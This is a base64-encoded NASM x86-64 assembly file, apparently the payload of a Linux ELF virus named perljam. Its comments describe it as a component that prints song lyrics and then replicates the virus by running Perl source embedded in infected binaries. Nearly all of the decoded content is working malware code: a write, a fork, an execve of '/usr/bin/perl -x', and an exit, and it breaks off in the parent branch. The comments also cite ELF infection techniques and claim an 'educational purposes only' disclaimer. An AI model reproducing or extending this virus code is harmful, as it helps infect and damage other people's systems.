b2IvbWFpbi9wZXJsamFtLnMKOwo7IHZlcnNpb24gMC4yIC0gMDQuMDguMjAyMwo7CjsgcGF5bG9h
ZCBmb3IgcGVybGphbS5wbAo7CjsgaXQgcHJpbnRzIHRvIHN0ZG91dCBhbiBleHRyYWN0IGZyb20g
dGhlIHNvbmcgInJlbGVhc2UiIGJ5IFBlYXJsIEphbSBhbmQgdGhlbgo7IHJlcGxpY2F0ZXMgdGhl
IHZpcnVzIGJ5IHJ1bm5pbmcgcGVybGphbS5wbCBzb3VyY2UgY29kZSBlbWJlZGRlZCBpbiB0aGUK
OyBpbmZlY3RlZCBiaW5hcnkKOwo7IHBlcmxqYW0ucyB3YXMgbWFkZSBmb3IgZWR1Y2F0aW9uYWwg
cHVycG9zZXMgb25seSwgSSdtIG5vdCByZXNwb25zaWJsZQo7IGZvciBhbnkgbWlzdXNlIG9yIGRh
bWFnZSBjYXVzZWQgYnkgdGhpcyBwcm9ncmFtLiBVc2UgaXQgYXQgeW91ciBvd24gcmlzay4KOwo7
IHRoYW5rcyB0byB0bXAwdXQgYW5kIHZ4dWcgZm9yIGFsbCB0aGUgcmVzb3VyY2VzCjsKOyBtYWlu
IHJlZmVyZW5jZXM6CjsgLSBodHRwczovL3d3dy5ndWl0bXXouY29tL2xpbnV4LW1pZHJhc2hpbS1l
bGYtdmlydXMvCjsgLSBodHRwczovL3d3dy5zeW1ib2xjcmFzaC5jb20vMjAxOS8wMy8yNy9wdF9u
b3RlLXRvLXB0X2xvYWQtaW5qZWN0aW9uLWluLWVsZi8KOyAtIGh0dHBzOi8vdG1wb3V0LnNoLzEv
My5odG1sCjsgLSBodHRwczovL3RtcG91dC5zaC8xLzIuaHRtbAo7CgpCSVRTIDY0Cmdsb2JhbCBf
c3RhcnQKc2VjdGlvbiAudGV4dApfc3RhcnQ6CiAgICBjYWxsIG1haW4KICAgIGRiICJpIGFtIG15
c2VsZiwgbGlrZSB5b3Ugc29tZWhvdyIsIDB4YSwgMHgwCiAgICBkYiAiL3Vzci9iaW4vcGVybCIs
IDB4MAogICAgZGIgIi14IiwgMHgwCiAgICBkYiAieHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHgiCiAgICBkYiAieHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHgiCiAgICBkYiAieHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHgiCiAgICBkYiAieHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4IiwgMHgwCiAgICAKIG1haW46CiAgICA7Ozs7
Ozs7OzsKICAgIDsgcHJpbnQgbXNnCiAgICA7Ozs7Ozs7Ozs7OzsKICAgIHhvciByYXgsIHJh
eAogICAgeG9yIHJkeCwgcmR4CiAgICBpbmMgYWwKICAgIG1vdiByZGksIHJheAogICAgcG9wIHJz
aQogICAgbW92IGRsLCAzMAogICAgc3lzY2FsbAoKICAgIDs7Ozs7Ozs7CiAgICA7IGZvcmsKICAg
IDs7Ozs7Ozs7CiAgICB4b3IgcmF4LCByYXgKICAgIG1vdiByYXgsIDU3CiAgICBzeXNjYWxsCiAg
ICB0ZXN0IGVheCwgZWF4CiAgICBqbmUgcGFyZW50CgogICAgOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7
Ozs7OwogICAgOyBjYWxsIHBlcmwgaW50ZXJwcmV0ZXIKICAgIDs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7
Ozs7OzsKCiAgICA7IGZpbGVuYW1lICIvdXNyL2Jpbi9wZXJsIgogICAgbGVhIHJkaSwgW3JzaSsz
MV0gICAKICAgIAogICAgOyBhcmd2CiAgICA7IFsiL3Vzci9iaW4vcGVybCIsICIteCIsICJ4eHh4
eC4uLiJdIChvbiByZXZlcnNlKQogICAgeG9yIHJkeCwgcmR4CiAgICBwdXNoIHJkeAogICAgbGVh
IHJieCwgW3JzaSs0OF0gOyAieHh4Li4uIgogICAgcHVzaCByYngKICAgIGxlYSByYngsIFtyc2kr
NDVdIDsgIi14IgogICAgcHVzaCByYngKICAgIHB1c2ggcmRpICAgICAgICAgIDsgIi91c3IvYmlu
L3BlcmwiCiAgICBtb3YgcnNpLCByc3AgCgogICAgOyBleGVjdmUgJiBleGl0CiAgICB4b3IgcmF4
LCByYXgKICAgIG1vdiByYXgsIDU5CiAgICBtb3YgcmR4LCAwCiAgICBzeXNjYWxsCiAgICB4b3Ig
cmR4LCByZHgKICAgIG1vdiByYXgsIDYwCiAgICBzeXNjYWxsCgpwYXJlbnQ6CiAgICA7IGNsZWFu
dXAgZm9yIHRoZSBqbXAgaW5zdHJ1Y3Rpb24KICAgIHhvciByYXgsIHJheAogICAgeG9yIHJkeCwg
cmR4